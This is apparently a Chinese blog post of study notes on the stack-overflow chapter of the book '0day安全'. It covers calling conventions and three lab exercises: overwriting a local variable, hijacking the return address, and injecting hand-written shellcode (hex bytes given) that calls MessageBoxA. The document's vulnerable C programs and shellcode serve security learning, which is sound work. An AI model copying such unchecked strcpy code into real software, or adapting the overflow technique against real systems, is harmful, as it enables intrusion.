0day安全 | Chapter 2 栈溢出原理与实践

启程

为了省空间,从本章开始,粘贴代码时会把作者的大段注释去掉。

首先还是要深入理解程序编译、链接、运行的过程。根据我的经验,在这些方面推荐三本书:

  • CSAPP
  • 程序员的自我修养
  • Windows PE权威指南

栈的思想应用于程序设计和执行实在是非常巧妙!

函数调用约定

其主要包括两方面的内容:

  • 参数入栈顺序
  • 谁负责恢复堆栈平衡(调用方还是被调用方)
C SysCall StdCall BASIC FORTRAN PASCAL
参数入栈顺序 右->左 右->左 右->左 左->右 左->右 左->右
恢复堆栈平衡 调用方 被调用方 被调用方 被调用方 被调用方 被调用方

对于Visual C++来说,支持以下3种函数调用约定。若需明确使用某种调用约定,需要在函数前加上调用约定声明,否则默认使用_stdcall

调用约定声明 参数入栈顺序 恢复堆栈平衡
_cdecl 右->左 调用方
_fastcall 右->左 被调用方
_stdcall 右->左 被调用方

对于C++类成员函数来说,它的参数额外包含一个this指针,在Windows平台这个指针一般通过ECX寄存器传递,而若使用GCC编译,则会作为最后一个参数压入栈中。

具体到汇编指令,可以体验一下(以下为_cdecl):

; 调用前
push 参数3
push 参数2
push 参数1
call 函数地址
; call 完成两件事:
;   1. 把返回地址压入栈(ESP要-4)
;   2. 将EIP更改为要转到的函数地址

; ...

; 下面是被调用函数
push ebp ; 保存旧栈帧底部
mov ebp, esp ; 设置新栈帧底部
sub esp, xxx ; 分配空间
push ebx ; 保存寄存器(可选,按需) 
push edi ; 保存寄存器(可选,按需)
push esi ; 保存寄存器(可选,按需)

; ...

; 下面是被调用函数的返回阶段
pop esi ; 恢复寄存器(与之前的push对应)
pop edi ; 恢复寄存器(与之前的push对应) 
pop ebx ; 恢复寄存器(与之前的push对应)
add esp, xxx ; 回收分配的空间
pop ebp ; 恢复旧栈帧
retn
; retn 完成两件事:
;   1. EIP = [ESP]
;   2. ESP += 4
;   另外,`retn 4`则代表在ESP在上面的基础上再加4

; ...

; 下面是回到调用方以后
add esp, 12 ; 回收最初push参数3、2、1用到的空间

实际测试时发现一个有意思的地方:测试程序中的被调用方在retn前做了如下的操作:

事实上,add esp, xxxmov esp, ebp可以达到相同的目的,即恢复ESP。这里多出了一个比较,即检查EBP是否被改动过。可能是出于安全考虑?

注意!本书作者说书中默认全部采用_stdcall调用方式,但是经过我的验证,本书采用的应该是如上所演示的_cdecl方式(除非是我下载的随书附带文件并不是作者原来提供的)。有IDA Pro的截图证明如下:

首先是IDA Pro的判断:

接着是根据函数的行为判断。调用方:

被调用方:

可以发现,是调用方在调用后通过add esp, 4维护了堆栈平衡。

OK。前面算是复习。下面进入动手环节。

覆盖变量

本节实验用到的代码如下:

#include <stdio.h>

#define PASSWORD "1234567"

int verify_password (char *password)
{
	int authenticated;
	char buffer[8];// add local buff
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);//over flowed here!	
	return authenticated;
}

main()
{
	int valid_flag=0;
	char password[1024];
	while(1){
		printf("please input password:       ");
		
		scanf("%s",password);
		
		valid_flag = verify_password(password);
		
		if(valid_flag){
			printf("incorrect password!\n\n");
		}
		else{
			printf("Congratulation! You have passed the verification!\n");
			break;
		}
	}
}

要求是在strcpy()环节覆盖掉authenticated,使得输入错密码也能跳转到正确分支。

分析一下:authenticatedstrcmp的返回值,当passwordPASSWORD大时,它是1,即0x00000001;反之则是-1,在内存中即0xFFFFFFFF。如果在bufferauthenticated之间没有多余的空间(事实上可能会有,所以最好还是动态调试分析计算一下),那么我们输入8个字母,将使得buffer字符串的尾零被填入authenticated的低位,恰好能够覆盖掉0x00000001中的1,达到绕过判断的目的。

输入aaaaaaaa,成功:

输入00000000,失败:

这是因为00000000从字符角度来说小于01234567,所以authenticated0xFFFFFFFF,而我们只能覆盖掉最低位,所以最终它是0xFFFFFF00,显然不能绕过判断。

当然,你可以通过后面的介绍的劫持控制流等手段绕过验证,但单从覆盖变量的角度来说,由于只有authenticated为0时才算绕过,而strcpy()遇到尾零会停止复制,所以这里没有其他好的方法使得authenticated的四个字节都被覆盖。因此,所有小于01234567的字符串都无法使用。

控制EIP

本节对上节代码main函数稍作修改,使其从文件中读取输入,因为我们希望给EIP一个合理的地址,这样的地址往往带有不可见字符,使用键盘上的按键无法直接输入:

int verify_password (char *password)
{
    // ...
}
main()
{
	int valid_flag=0;
	char password[1024];
	FILE * fp;
	if(!(fp=fopen("password.txt","rw+"))){
		exit(0);
	}
	fscanf(fp,"%s",password);
	valid_flag = verify_password(password);
	if(valid_flag){
		printf("incorrect password!\n");
	}
	else{
		printf("Congratulation! You have passed the verification!\n");
	}
	fclose(fp);
}

我们希望覆盖掉verify_password的返回地址,那么要做的就是:

  1. 计算buffer到返回地址处的偏移量
  2. 在对应位置放入一个地址

偏移量很好计算:

从图中可以发现,ebp+0xCbuffer的起始地址,我们知道ebp+4即返回地址的存储位置。所以偏移量为0xC + 0x4 + 0x4

可以发现我们要希望的目的地址是0x00401122,即成功分支。

我们使用二进制编辑器修改输入为:

再次运行,成功。出现错误是因为我们把旧的EBP覆盖掉了,暂不去管它:

代码植入

本节将进行Shellcode的注入和执行。代码修改如下,主要做了两处修改:

  1. 增加buffer的容量,从而能够注入代码
  2. 初始化user32.dll,方便在Shellcode中调用MessageBox函数
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
	int authenticated;
	char buffer[44];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);//over flowed here!	
	return authenticated;
}
main()
{
	int valid_flag=0;
	char password[1024];
	FILE * fp;
	LoadLibrary("user32.dll");//prepare for messagebox
	if(!(fp=fopen("password.txt","rw+")))
	{
		exit(0);
	}
	fscanf(fp,"%s",password);
	valid_flag = verify_password(password);
	if(valid_flag)
	{
		printf("incorrect password!\n");
	}
	else
	{
		printf("Congratulation! You have passed the verification!\n");
	}
	fclose(fp);
}

我们的目标是劫持控制流到buffer,调用MessageBox函数,弹窗(和XSS好像啊),步骤是:

  1. 计算buffer到返回地址处的偏移量
  2. 在对应位置放入buffer首地址
  3. buffer中放入Shellcode

偏移量计算结果为52。后两步其实就是Shellcode的编写。根据动态调试(无ASLR和栈不可执行),buffer首地址为0x0012FAF0

关于MessageBox

int MessageBox(
    hWnd, // handle to owner window
    lpText, // text in message box
    lpCaption, // message box title
    uType // message box style
);

其中hWnduType均为NULL即可,另外两个参数我们均设置为good-job

注意。系统中并不存在真正的MessageBox函数,而是会用MessageBoxA(ASCII)或者MessageBoxW(Unicode)。

为了用汇编语言调用MessageBox,我们还需要MessageBox函数地址。其地址为user32.dll在系统中的加载地址与MessageBox在库中的偏移地址相加。我们通过Dependency Walker随便打开一个带GUI的PE文件便可查看这些数值:

如图,最终MessageBox地址为0x77D10000 + 0x000407EA = 0x77D507EA

然后就是编写Shellcode:

xor ebx, ebx
push ebx
push 626F6A2D
push 646F6F67
mov eax, esp
push ebx ; uType
push eax ; lpCaption
push eax ; lpText
push ebx ; hWnd
mov eax, 0x77D507EA
call eax

其二进制码如下:

33 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0

buffer中的其余空间我们用nop(二进制为90)填充,直到返回地址处。最终形成的注入代码如下:

测试:

成功,但同样出现错误,暂不管它。

总结

本章用的环境还是十分简单,没有涉及各种漏洞缓解措施。

之前研究过Linux下的栈溢出,所以到这里还是轻车熟路、毫无压力的。栈溢出的确很有意思啊。不过我更希望在后面跟作者学到堆溢出技术。

继续加油啦。

Per Aspera Ad Astra